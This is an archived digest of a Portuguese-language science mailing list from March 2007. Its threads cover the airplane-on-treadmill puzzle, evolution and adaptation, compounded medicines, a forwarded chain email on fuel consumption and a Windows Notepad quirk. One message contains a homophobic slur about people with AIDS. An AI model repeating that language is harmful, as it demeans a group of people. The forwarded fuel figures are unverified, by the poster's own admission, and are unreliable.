> []s,
>
> Roberto Takata
>




SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/03/2007 20:47

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Nein, nein, está preparando o bote, mas não vai funcionar. A força
> que surgirá vai apenas AUMENTAR uma força que já está presente, e
> será compensada com uma, mínima, diminuição da velocidade.

De modo algum. Antes a roda apenas rolava. Agora há uma força q tende
a fazê-la derrapar. Mas poderia ser simplesmente pelo aumento de uma
força anterior, isso novamente quebra a situação de resultante zero.

> Um avião decola com uma "parte" da força disponível para empuxo, e
> não em MRU final, e se o atrito dos pneus aumentasse, ele apenas

Não importa ainda como o avião decola. Aqui apenas mostrando q o avião
estará em MRU e surgirá uma força para trás com o acionamento da esteira.

> Se desejar, podemos trocar as rodas de borracha do avião (que não é
> pré-condição do enunciado, por rodas de metal ou um polímero não
> deformável, que servirá apenas para esta decolagem (já que podemos
> desconstruir o enunciado, nada impede de usar rodas de aço sobre a
> esteira..:-)

Ocorre a mm coisa com a roda de metal. *Todo* material sofre
deformação. Assim como *todo* sistema sofre dissipação por atrito.
Pode ser menor, mas a força existirá.

Sim, em princípio, podemos variar o problema da forma como quisermos
desde q apenas respeitemos as especificações explícitas. Aí poderemos
mapear o funcionamento do sistema em um volume abstrato cujas
dimensões são dadas pelas variações de cada fator. Isso tende a ser um
tto tedioso. Dessa forma, estou restringindo mais ou menos a um caso
relativamente realístico - ou seja, como deformação, atrito e essas
coisas. (Afinal, do contrário poderemos colocar uma parede na esteira
- o enunciado não diz q não há.)

[]s,

Roberto Takata



SUBJECT: Artigos de mestre do eletromagnetismo, Maxwell.
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/03/2007 21:37





Lista,

Para vossos estudos, falecimento de vossas dúvidas e eliminação de vossas curiosidades:

Artigos de Maxwell de 1861 e 1864.

O primeiro artigo, de 1861, é: "On phyxical lines of force-parte 1: The Theory of molecular vortices aplied to magnetic phenomena".

Nessa teoria de vórtices acaba encontrando 300 mil km por segundos para a velocidade da luz. Bastante interessantes, as canetadas do grande cientista.

Os demais, vejam vocês mesmos.

http://vacuum-physics.com/Maxwell/maxwell_oplf.pdf
http://www.zpenergy.com/downloads/Maxwell_1864_1.pdf
http://www.zpenergy.com/downloads/Maxwell_1864_2.pdf
http://www.zpenergy.com/downloads/Maxwell_1864_3.pdf
http://www.zpenergy.com/downloads/Maxwell_1864_4.pdf
http://www.zpenergy.com/downloads/Maxwell_1864_5.pdf
http://www.zpenergy.com/downloads/Maxwell_1864_6.pdf

Assim, para o pesquisador, isto é como uma fonte d´água no deserto.

Sds,

Victor.


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/03/2007 23:22

Agora o segundo coelho da cartola - resistência de rolamento
dependente de velocidade.

Em geral, calcula-se apenas o fator da resistência de rolamento
independente de velocidade. Posto q, à velocidades relativamente
baixas, o fato dependente de velocidade pode ser negligenciado.

Fa = m.g(cr + crv.V) [1]

É a fórmula q incorpora tto o atrito independente de velocidade (o
fator cr) como o dependente (o fator crv e a velocidade V).

Tipicamente para pneu de borracha sobre asfalto, cr eh de 0,0075 e crv
0,0025.

Mas peraê, o atrito não irá apenas criar uma componente tangencial
sobre as rodas (ou seja, apenas fazer a roda girar)? Aí entra a
questão da deformação das rodas e da superfície de apoio, rapidamente
comentada antes - haverá componentes não tangenciais q comunicará
força à aeronave.

A esteira rolante faz com q para uma mesma velocidade de deslocamento
em relação ao solo da aeronave, o dobro de resistência de rolamento
seja gerado.

Se estiver tudo ok, continuaremos.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e oenganodeJoseRenato
FROM: "lele_oneill" <lele@rio.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/03/2007 23:25

Jose Renato, vc escreveu...

..."O urso hiberna se há estação de frio, se não há, ele não
hiberna. Ele se adapta à nova condição do ambiente."

Um dos exemplos do Al Gore no documentario "Uma verdade inconveniente" e justamento o do urso que no inverno nao tera mais as geleiras para andar...se afogara...nao tera mais caça - da qual sobrevive atualmente - e se extinguira, quem sabe mais cedo que os Panda q estao se reproduzindo em cativerio.
Liliana

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 14, 2007 11:10 PM
Subject: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e oenganodeJoseRenato


Homero, atente! Estou falando de adaptação do ser vivo ao ambiente e vc de
mutação genética. O urso hiberna se há estação de frio, se não há, ele não
hiberna. Ele se adapta à nova condição do ambiente.
[]s
JR
..................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 13, 2007 12:43 AM
Subject: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e o
enganodeJoseRenato

Olá Jose Renato

Renato: "Jeff, entendo que a seleção proposta por Darwin ocorre depois
das mutações."

Ótimo, é um passo a frente que temos esperado há muito tempo..:-)

Renato: "Agora peço que tente entender que a adaptação independe de
mutações. O próprio organismo do ser vivo promove as condições mais
econômicas e adequadas para sobreviver a uma mudança no ambiente."

Bem, dois passos para tras..:-( Não, Renato, o organismo não faz isso,
no sentido de evolução. Qualquer "ajuste" feito pelo organismo tem de
estar previamente definido em suas capacidades, e previamente definido
em seus genes.

Um urso JAMAIS vai aumentar seus pelos se ficar frio, ele tem de
nascer com os pelos a mais, e só nascerá com pelos a mais se
ALEATORIAMENTE, sem intenção, a combinação de genes que receber de
seus pais assim determinar (aqui um alerta, um urso pode nascer com
genes que determinem que seus pelos aumentem ou diminuam com a
temperatura, mas mesmo isso TEM de estar definido na formação de seu
DNA, não é uma evolução individual).

SE não houver mutações, SE o DNA for identico ao ancestral que o
passou adiante, NENHUMA adaptação ocorrerá e NENHUMA evolução
ocorrerá. Nenhuma.

Nenhuma espécie se adaptará se não houver mutações, diferenças mínimas
nos genes dos descendentes.

Mesmo bactérias, que se reproduzem simplesmente se dividindo, tem de
contar com "erros" de codificação na divisão e duplicação dos genes,
ou não evoluiriam.

O que parece chamar de "próprio organismo do ser vivo promove as
condições mais econômicas e adequadas para sobreviver a uma mudança no
ambiente" é uma confusão com ajustes NÃO evolutivos, como, por
exemplo, a diminuição do metabolismo em tempos de pouca comida de
muitos mamiferos, com evolução por herança de caracteres.

A diminuição de metabolismo é algo "já determiando" nos genes do
individuo, não é um exemplo de adaptação evolutiva. Sei que vai
confundir tudo e dizer "como assim, não é um exemplo de evolução, pois
isso não aumentou as vantagens da espéice de sobreviver??!!"

Sim, a ESPÉCIE evoluiu, e agora apresenta essa capacidade de ajuste,
mas cada individuo nasce com a capacidade previamente definida, e NÃO
evolui para adquiri-la de nenhuma forma.

Isso cansa..:-(

Se seus genes que determinam essa capacidade, de diminuir o
metabolismo em tempos de pouca comida, não estiverem ativos ou
presentes, você NÃO vai evoluir e agir dessa forma. Vai morrer de fome
mais rapidamente que os outros, se a comida for pouca, jamais
"evoluindo" nesse sentido.

Entretanto, como vai morrer, esses genes com defeito, ou o padrão "sem
genes para diminuir metabolismo" não estarão presentes na próxima
geração de seres humanos.

Vamos para um caso concreto, algumas pessoas nascem sem a capacidade
de regular sua temperatura corporal como você e todos nós fazemos. Se
elas aquecerem demais (correr, por exemplo), tem de arrumar uma forma
externa de esfriar, ou vão morrer de hipertermia.

Um atleta de corrida treinava com baldes de água sempre por perto,
para jogar sobre seu corpo, mesmo em dias frios, para não morrer no
treino.

Este ser humano JAMAIS vai evoluir e adquirir capacidade de diminuir
sua temperatura. Jamais. Morrerá como nasceu.

Se seus filhos receberem, por azar, esses genes que não permitem
esfriar, igualmente terão problemas, e JAMAIS evoluirão nesse sentido.

Nenhum individuo evolui, espécies evoluem, devido a seleção natural,
que elimina (mata ou impede a procriação) os que, por azar, não tem
padrões de genes eficazes em sobreviver.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Jeff, entendo que a seleção proposta por Darwin ocorre depois das
mutações.
> Agora peço que tente entender que a adaptação independe de mutações. O
> próprio organismo do ser vivo promove as condições mais econômicas e
> adequadas para sobreviver a uma mudança no ambiente.
> []s
> José Renato
> ...............................................
>
> From: "Jefferson" <jeff@To: <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, March 10, 2007 10:44 AM
> Subject: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes,
e o
> engano deJoseRenato
>
>
> > Olá,
> >>
> >> Homero, qualquer ser vivo se adapta ao ambiente! Será que vc não
consegue
> >> entender isso? Vc se estende em elucubrações sem qualquer sentido
ao que
> >> se discute, desnecessariamente.
> >>
> > Não se adapta, é selecionado pelo ambiente. Tente entender que a
seleção
> > ocorre *depois* de mutações, que são "aleatórias", sem a intenção
de se
> > adaptar ao ambiente.
> >
> > []´,s
> > Jeff.
>

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SUBJECT: Novo Layout e Novas Atualizações
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Olá pessoal, tudo bem?

Confira as novidades no novo portal da Revista macroCOSMO.com:
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EDIÇÕES

Edição nº 39 | Edição Especial: Missão COROT
A busca por planetas localizados fora do Sistema Solar, que orbitam
outras estrelas da nossa galáxia é um dos campos da Astronomia que
mais causam fascínio na humanidade. Um dos grandes objetivos do
lançamento do satélite COROT é investigar a existência desses planetas
fora do Sistema Solar. Para isso será utilizada a técnica de detecção
de trânsitos planetários permitindo a descoberta de planetas com o
tamanho da Terra.

Edição nº 38 | O céu em 2007
Para 2007 os eventos celestes prometem bons espetáculos para os
observadores assíduos, é claro que, que se tivermos sorte de bons céus
sem nuvens. Confira um anuário especial sobre os planetas, eclipses,
asteróides e cometas que irão brilhar no céu desse ano.


ARTIGOS

Eclipse Total da Lua: 3 de março de 2007
O primeiro eclipse lunar do ano será total e visível, pelo menos em
parte, em todos os continentes. O eclipse acontece 3,2 dias antes da
Lua em apogeu (mais longe da Terra), e 1,9 dias depois da ocultação de
Saturno pela Lua (visível apenas para o norte e leste da Europa).
Durante o eclipse, a Lua está na constelação do Leão. Sua trajetória
orbital leva a Lua pela metade norte da sombra umbral da Terra. Embora
o eclipse não seja central, a fase de totalidade durará 73 minutos.


CLIPPING DE NOTÍCIAS01:15 2/3/2007

Nave flagra Saturno visto de cima pela 1ª vez.
Colunas peruanas são o mais antigo observatório das Américas.
ISS corre risco de ser destruída por asteróide.
Cosmólogo Stephen Hawking faz vôo em gravidade zero.
Sonda da Nasa fotografa vulcão em lua de Júpiter.

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SUBJECT: Remédios manipulados
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/03/2007 09:24

Eu preciso comprar um remédio, e como o preço não é nada "doce", pensei em
compra-lo manipulado. Mas uma pessoa me disse que os remédios manipulados
"não são bons". Isso tem algum fundamento? Ou seria apenas efeito "nocebo"?


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Levitação com celular
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/03/2007 11:09

Vejam:
http://www.metacafe.com/watch/448034/secret_science_anti_gravity_revealed_homemade/

Claro que não é "energia do ponto zero", mas li o comentário em um
fórum de que não seria também um truque, e a moeda levitaria por
correntes de Foucault induzidas pelo celular. As pilhas apenas
desempenhariam o papel de criar perturbações nas ondas emitidas pelo
celular.

Procede? À primeira vista imagino q celulares não são tão potentes assim.

[]s

Mori


SUBJECT: Re: [ciencialist] Remédios manipulados
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/03/2007 12:24

Gil:

Sou cardíaco muito grave, tomo 21 comp. por dia sendo que 6 são manipulados. A farmácia que os prepara tem todos os certificados de qualidade. A médica que me assiste concorda por dois motivos: o primeiro, é que não posso comprar os de marca e segundo, nunca teve problemas com esses manipulados.
Há muitos médicos que, por "segurança" forçam a compra dos originais: aí, o cara não compra nem um nem outro....
É uma decisão quja prioridade é a disponibilidade de grana: se pode comprar, compre os de marca. não podendo, mande aviar.
E agora tem a Farmácia Polular que vende remédios a baixo preço, mas só alguns e os mais baratos.

Uma curiosidade demagógica de nossos políticos: nós que trabalhamos a vida toda 35 anos de serviço pesado e ficamos doentes, a maioria cardíacos, não temos nenhum apôio do Governo.
Entretanto a viadada com sua AIDS tem tudo de graça, na hora, remédios caríssimos, importados: nota-se que o governo, os políticos estabelecem critérios em causa própria.....

sds.,

silvio
----- Original Message -----
From: Gil
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 02, 2007 9:24 AM
Subject: [ciencialist] Remédios manipulados


Eu preciso comprar um remédio, e como o preço não é nada "doce", pensei em
compra-lo manipulado. Mas uma pessoa me disse que os remédios manipulados
"não são bons". Isso tem algum fundamento? Ou seria apenas efeito "nocebo"?

[As partes desta mensagem que não continham texto foram removidas]






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SUBJECT: Re: Remédios manipulados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/03/2007 15:12

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Eu preciso comprar um remédio, e como o preço não é nada "doce",
> pensei em compra-lo manipulado.

Os manipulados em geral não são mais caros?

> Mas uma pessoa me disse que os remédios manipulados "não são bons".
> Isso tem algum fundamento? Ou seria apenas efeito "nocebo"?

Se a farmácia estiver bem aparelhada e o farmacêutico for bom não há
porq o medicamento ser pior do q um produzido em larga escala.

[]s,

Roberto Takata



SUBJECT: En: Consumo de gasolina
FROM: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: ciencialist <ciencialist@yahoogrupos.com.br>
DATE: 02/03/2007 16:07

Não conferi a veracidade disto, mas ser a metade for
verdade, hum...

[]'s
>
> Consumo de gasolina
>
> Quer economizar gasolina?
>
> Foi auditado um experimento no Cento de Pesquisas
> da Petrobrás (CENPES),
> no RJ. Foi um procedimento para levantamento do
> acréscimo do consumo de gasolina
> com velas gastas, filtro de ar entupido, pneus
> murchos, etc
>
> O carro de testes foi um Uno Fire.
>
> Seguem os resultados:
>
> Velas Gastas
> As velas originais foram substituídas por unidades
> com 20.000 km rodados
> em outro motor idêntico, mas que jamais haviam sido
> limpas nem reguladas. Estavam com
> abertura menor que a especificada.
> Acréscimo de consumo: 7,49%
>
> Filtro de ar obstruído
> O filtro de ar original foi trocado por outro que
> rodara também 20.000km
> em outro carro igual, sem jamais ter sido limpo.
> Acréscimo de consumo: 6,20%
>
> Rodagem em "banguela"
> Todos os testes foram efetuados em dinamômetro. Foi
> simulada a rodagem
> em descidas com o carro engrenado e desengrenado.
> Em carros com injeção eletrônica o
> consumo em "banguela" é ligeiramente maior que
> engrenado.
> Acréscimo de consumo: 5,19%
>
> Pneus murchos
> Essa é para quem tem preguiça de medir a pressão
> dos pneus uma vez por
> semana, ou quando o tempo esfria. Foi feita a
> avaliação com 6 libras a menos em
> cada pneu (e pensar que tem gente que roda com 10
> libras a menos).
> Acréscimo de consumo: 17,80%
>
> Janelas abertas
> Esse teste não foi em dinamômetro (obviamente), por
> isso o resultado não
> pode ser comparado diretamente com os demais, mas
> serve como referência. O carro
> rodou em pista plana, em velocidade constante, com
> as duas janelas totalmente abertas.
> Acréscimo de consumo: 9,35%
>
> Carro com 4 passageiros
> Simulou-se o peso de mais 3 passageiros (225kg).
> Claro que é melhor
> rodarem 4 pessoas em um Uno do que 4 pessoas em 4
> carros separados. Mas isso serve para
> aqueles que "esquecem" a tralha da pescaria no
> porta-malas, ou que carregam uma
> baita caixa de ferramentas no porta-malas.
> Acréscimo de consumo: 10,80%
>
> Tudo junto
> Esse teste foi feito por curiosidade, não fazia
> parte do experimento.
> Primeiro rodei sozinho pelo CENPES, com uma bureta
> presa na janela do passageiro e
> ligada diretamente na bomba elétrica. Depois,
> instalamos as velas gastas, o filtro sujo
> (pegamos de volta no lixo), esvaziamos os pneus em
> 6 libras, entramos em 4 no carro e
> abrimos as 4 janelas. Saímos passeando por dentro
> do CENPES, mais ou menos pelo mesmo
> circuito.
> Acréscimo de consumo: impressionantes 44,41% !!
>
> É isso aí! Agora o pessoal que fica na dúvida
> porque seu carro faz 8
> km/l enquanto o do vizinho faz 11 já pode fazer sua
> avaliação.
>
> Atenciosamente,
>
> Alex Noronha da Silva
> Volkswagen Caminhões e Ônibus
>
> Ricardo Rios Simões
> PETROBRAS - Gás e Energia



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SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/03/2007 16:16

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Tipicamente para pneu de borracha sobre asfalto, cr eh de 0,0075 e
> crv 0,0025.

Peraê q precisarei confirmar esses valores.

[]s,

Roberto Takata



SUBJECT: Fwd: [ciencialist] Re: Remédios manipulados
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/03/2007 22:18

No caso desse remédio sai mais barato, não sei bem porque. Talvez por ser
uma cápsula, em vez daquelas drágeas revestidas.

Mas é bom saber q posso comprar, pq sai metade do preço do cinvastatina
"normal".

Só preciso conferir a confiabilidade do farmacêutico, mas estando tudo ok,
já sei q posso comprar .

Gil

---------- Forwarded message ----------
From: rmtakata <roberto.takata@bol.com.br>
Date: 02/03/2007 15:12
Subject: [ciencialist] Re: Remédios manipulados
To: ciencialist@yahoogrupos.com.br

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Eu preciso comprar um remédio, e como o preço não é nada "doce",
> pensei em compra-lo manipulado.

Os manipulados em geral não são mais caros?

> Mas uma pessoa me disse que os remédios manipulados "não são bons".
> Isso tem algum fundamento? Ou seria apenas efeito "nocebo"?

Se a farmácia estiver bem aparelhada e o farmacêutico for bom não há
porq o medicamento ser pior do q um produzido em larga escala.

[]s,

Roberto Takata



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SUBJECT: Fwd: [ciencialist] Remédios manipulados
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/03/2007 22:24

Sílvio:

Valeu pela explicação.
O caso é justamente esse mesmo, Grana. O produto de marca fica fora de mão,
e enquanto não pego na farmácia popular (que só tem em outra cidade), esse
manipulado parece ser uma boa opção, e agora, nao me sinto mais tão
inseguro. É dificil pegar opinião com o pessoal que costuma "achar" mais do
que constatar.

Gil

---------- Forwarded message ----------
From: Silvio Cordeiro <scordeiroes@superig.com.br>
Date: 02/03/2007 12:24
Subject: Re: [ciencialist] Remédios manipulados
To: ciencialist@yahoogrupos.com.br

Gil:

Sou cardíaco muito grave, tomo 21 comp. por dia sendo que 6 são manipulados.
A farmácia que os prepara tem todos os certificados de qualidade. A médica
que me assiste concorda por dois motivos: o primeiro, é que não posso
comprar os de marca e segundo, nunca teve problemas com esses manipulados.
Há muitos médicos que, por "segurança" forçam a compra dos originais: aí, o
cara não compra nem um nem outro....
É uma decisão quja prioridade é a disponibilidade de grana: se pode comprar,
compre os de marca. não podendo, mande aviar.
E agora tem a Farmácia Polular que vende remédios a baixo preço, mas só
alguns e os mais baratos.

Uma curiosidade demagógica de nossos políticos: nós que trabalhamos a vida
toda 35 anos de serviço pesado e ficamos doentes, a maioria cardíacos, não
temos nenhum apôio do Governo.
Entretanto a viadada com sua AIDS tem tudo de graça, na hora, remédios
caríssimos, importados: nota-se que o governo, os políticos estabelecem
critérios em causa própria.....

sds.,

silvio
----- Original Message -----
From: Gil
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 02, 2007 9:24 AM
Subject: [ciencialist] Remédios manipulados


Eu preciso comprar um remédio, e como o preço não é nada "doce", pensei em
compra-lo manipulado. Mas uma pessoa me disse que os remédios manipulados
"não são bons". Isso tem algum fundamento? Ou seria apenas efeito
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SUBJECT: Re: [ciencialist] P/ Jose Renato - Tartarugas, mamutes, e o engano de Jose Renato
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/03/2007 22:41

Caro Homero, é assim que vc esgota a sua paciência e leva Takata a pedir um
pouco dela em suas respostas a ele. É que vc se espraia em repetidas
ilações, prolixas e desnecessárias, que se enquadram na detalhada descrição
do alerta de ressalva feita por Manuel Bulcão na resposta ao Takata, colada
ao final. Pode ser que fazendo isso vc leve alguém a acreditar que eu é que
sou repetitivo e não vc um verborrágico aparentemente convicto de que essa
é a melhor forma de trocar idéias sobre ciência. Creio que não é.

Faço outros comentários no corpo do e-mail, após JR -, OK?
.............................................

----- Original Message -----
From: "Oraculo" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 2:39 PM
Subject: [ciencialist] P/ Jose Renato - Tartarugas, mamutes, e o engano de
Jose Renato


Olá Jose Renato

Renato, continua não entendendo bem a questão, e vendo "coisas" onde elas
não existem. Em especial, os "proques" da natureza não são "porques" da
forma que você pensa, não tem a intenção a priori que parece encontrar em
tudo.

Renato: "Vc já se perguntou por que uma larva de
cigarra permanece anos no solo antes de eclodir, se alimentando de raízes?"

Porque as que eclodiram antes foram devoradas por predadores, ou tinham mais
probabilidade de serem devoradas por predadores. NENHUMA delas tinha ou tem
a MENOR noção desse porque, e se as condições mudarem (por exemplo, um
predador que devore cigarras em cada 7 anos), as que NÃO nasceram após esse
período terão uma vantagem.
Mas, nem as que nascem nesse período nem as que erram o período (e toda
geração tem variações) tem a MENOR idéia disso tudo, e não fazem isso com
inteligência ou intenção. São resultados de forças cegas, naturais, não
intencionais, etc.
JR - Sua "ceguinha" já deve estar cobrando hora extra por tanta demanda.
Só dá ela... As "intenções" do ser vivo é viver, tentar sobreviver de todas
as
formas possíveis. Isso é natural, sim, não requer racionalização ou
planejamento, sim, mas tem o propósito inerente de se desenvolver e
reproduzir, sacado há tempos, muito antes da sua "força cega" ser admitida
nessa história.

Esquimós se adaptaram ao frio com o uso da inteligência humana, inteligência
que foi desenvolvida em outro ambiente, devido a outras necessidades, mas
que pode ser utilizada de diversas formas. Focas e ursos polares
desenvolveram gordura sem a MENOR idéia do que estava acontecendo, e nenhum
INDIVIDUO dessas espécies JAMAIS se adaptou, mas apenas a espécie, com a
morte dos que tinham menos capacidade em sobreviver e a manutenção dos que
tinham.
JR - Que viagem! Estamos nos adaptando ao ambiente - atente -
permanentemente!
Se dispomos de memória intelectual e biológica, melhor ainda.

E, por favor, os que tinham menos capacidade e os que tinham mais não
sabiam NADA sobre isso, e nasceram com essas características de forma
aleatória, não intencional, não inteligente, da mesma forma como você nasceu
mais baixo ou mais alto que seu irmão, Renato.
JR - Forma não intencional, não dirigida ou aleatória gera seres de diversas
conformações. Entretanto, sabemos que de um ovo de galinha nascerá um
pintinho e não um animal "aleatório".

Ursos, em um ambiente que ficava mais frio a cada estação, nasciam como
nasceram sempre, alguns com mais gordura, outros com menos. Aleatoriamente.
Os que nasceram com mais gordura, por mero acidente genético, tinham ligeira
vantagem durante os invernos mais rigorosos, e deixavam mais descendentes.
Em milhões de anos, apenas ursos com mais gordura restaram.
NENHUM dos ursos que viveu durante os milhões de anos necessários a essa
especiação JAMAIS se adaptou como individuo.
JR - A questão volta a ser vocabular. Se um urso, ao chegar o inverno, se
entoca numa caverna, dorme e consegue acordar quando o tempo aquece,
vc não considera isso uma adaptação ao seu modo de vida?

Renato: "Bons comentários, Homero! Faço apenas ressalva aos seguintes
trechos:"

Grato pelo elogio, mas ainda insisto, você precisa se esforçar para
compreender realmente a questão da evolução. Veja os enganos, mesmo quando
parece concordar comigo:

Renato: "JR - Isso pode ocorrer durante algum tempo, mas o sabidório pode
ser excluído da partilha e ficar dependendo apenas de si mesmo. Veja que foi
a possibilidade de eu fazer apenas uma parte do que preciso para viver -
enquanto outras pessoas fazem as demais - que promoveu a civilização."

Excluir o sabido É um comportamento herdado, que surge, aleatoriamente, a
partir de mudanças, aleatórias, nos genes. [ ... ]
JR - Colocar comportamento social nos genes é outra de suas viagens. O ser
vivo pode adotar diversos comportamentos de grupo com os mesmos genes,
dentro de uma mesma existência.

[ ... ] Nos grupos de animais gregários onde ele surge, é gerada uma
vantagem para este grupo, que NÃO existe nos grupos sem o
comportamento. Mais alguns milhares de anos, apenas grupos que
apresentam um conjunto de genes que reforce esse comportamento
(excluir da partilha) restaram, devido a competição entre grupos.
JR - Não é preciso muito tempo, Homero. Se duas tribos menores não
se unem para se defender de uma mais forte, serão dizimadas,
escravizadas e até extintas.

Tente entender, nada disso é "inteligência" no sentido habitual do termo,
que só pode ser usado como metáfora nesses casos. É a "inteligência" de um
cristal de rocha, que "soube" criar um padrão tridimensional perfeito, ou a
"inteligência" da água ao preencher "exatamente" a poça no chão, ou a
"inteligência" do pássaro tecelão, que soube criar um ninho altamente
complexo (mas que deixa os ovos caírem por um buraco no fundo, sem
entender nada).
JR - E qual é esse sentido habitual de "inteligência"? Seria fazer algo com
algum, digamos, "objetivo" - tal como, permanecer vivendo? E quantas
vezes nós humanos colocamos "nossos ovos" em buracos sem fundo,
só por hábito, e nem percebemos que eles estão se perdendo?

O que promoveu a civilização foi um conjunto de coisas, baseadas na
capacidade cerebral de homo sapiens, que surge como resposta adaptativa a um
ambiente específico, a extinção dos dinos, etc. Sem NENHUMA intenção de
surgir ou de criar uma civilização.
JR - Fomos fazendo de tudo para sobreviver, até que alguém disse que isso é
civilização...

Renato: "JR - Vc acha que o ser humano é "bom" por natureza, há os que acham
que é um maléfico predador por natureza, e há os que consideram que ele é o
"fazem"dele em sua formação. Muito provavelmente ainda ficaremos sem certeza
de qual dessa teses é a que melhor descreve a realidade. Quanto a sua fiel
crença no Acaso sem qualquer comprovação científica é mais uma das suas
aventuras na arte dos adivinhos."

Não, Renato, não acho que o ser humano é "bom". Esse é um conceito humano,
subjetivo, e não se aplica a comportamentos evolutivos. Estes apenas "são",
nem bons, nem ruins. Matar os filhotes, como os leões, não é "bom" nem
"ruim", é eficaz, nesse sentido. Ajudar os outros, em um grupo gregário, não
é "bom" ou "ruim", é apenas eficaz, entre a disputa por espaço e alimentos
de grupos diversos. Só isso, nada mais. O que estou tentando explicar a você
é que parte dos comportamentos que consideramos "bons", já existem, como
vantagens adaptativas, em nossos primos e em nossos ancestrais primatas (e
em animais gregários em geral). Não são fruto de uma divindade benéfica ou
criação puramente humana.

Minha conclusão, e não crença, não deriva da falta de evidências do acaso,
que é evidente (acaso é uma ausência, não algo concreto), mas na falta de
evidências de que não seja assim. Tente entender, o acaso, a não
intencionalidade, é uma ausência, e, como tal, não precisa de evidências.
Não se exige evidências de que algo ocorreu ao acaso, mas o contrário, de
que NÃO ocorreu. Pense que quando ouve um barulho de janela abrir, sua
presunção é que foi ao "acaso", pelo vento, pelo calor, por quebra, etc, sem
intenção de abrir e fazer barulho. É a partir de evidências que pode mudar
de conclusão e decidir que houve uma "intenção" na abertura da janela.
JR - Quando os antigos não sabiam explicar algo utilizavam de crendices,
fábulas - ou algo ainda desconhecido que chamavam de divindades - para
tentar explicá-las. A sua tem o nome da Acaso, explica tudo.

Repito, não é preciso "comprovação cientifica" do acaso, da aleatoriedade,
que, aliás, é um termo que define acaso, é o próprio acaso.

O que está dizendo, Renato, é que preciso "provar cientificamente" que um
dado dá resultados ao "acaso", aleatoriamente, sem intenção de dar o
resultado, quando na verdade isso é uma presunção, a própria definição de
acaso, de aleatório..:-) É você que acredita que NÃO é acaso, sem nenhuma
evidência que sustente essa crença, que precisa "provar cientificamente" que
os dados dão resultados "intencionalmente".
JR - Vc ainda não entendeu que uma semente ou um embrião não vai se
desenvolver aleatoriamente. Ele vai se desenvolver de acordo com sua espécie
genética já estabelecida no genes. Se fosse aleatoriamente, teríamos tantas
espécies quanto são os seres vivos: cada uma diferente da outra.

Um abraço.
Homero

Abraços
José Renato
.........................................separador da ressalva de Manuel
Bulcão Neto

From: "Manuel Bulcão" <manuelbulcao@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, February 25, 2007 7:49 PM
Subject: [ciencialist] Re: A universalização dos valores morais


(Como essa minha resposta é longa, vou dividi-la em capítulos. Mas
não pensem que estou me valendo da velha falácia "apelo à
tagarelice", muito comum entre relativistas pós-modernos e que
consiste em escrever de forma copiosa e exuberante, recheando o texto
com citações, referências bibliográficas, brocardos latinos,
gigantescas expressões alemãs, palavras do português arcaico,
adjetivos aos borbotões, neologismos, onomatopoeses, pleonasmos,
epigramas, circunlocuções, proposições indecidíveis, apotegmas
oraculares, aforismas "esfinge" (do tipo "decifra-me ou não te deixo
dormir à noite"), perguntas retóricas, respostas tangenciais,
arabescos anedóticos, longas sentenças camonianas (para serem lidas
de trás pra frente ou refletidas no espelho), digressões e quejandos
e muitas, muitas, muitas vírgulas, ponto-e-vírgulas, travessões,
parênteses, colchetes, chaves, aspas simples, aspas duplas etc. -
tudo isso com o implícito intuito não só de compensar a falta do que
dizer com música verbal, de preferência com ares dodecafônicos
(transfigurando, assim, a cacofonia sem sentido em nonsense
sinfônico), como também de cansar o outro debatedor, desencorajá-lo
da leitura e, principalmente, desestimulá-lo a responder. Não, não e
não. Meu texto é grande, porém claro e informativo. É só conferir.
Mãos, ou melhor, olhos à obra!)

(apaguei o restante da mensagem)



SUBJECT: Coisa interessante do Windows
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/03/2007 22:48

Para quem tem Windows XP

1 abra o bloco de notas (notepad)
2 copie e cole "bush hid the facts" sem as aspas
3 salve o arquivo
4 abra o arquivo.

Que acontece?


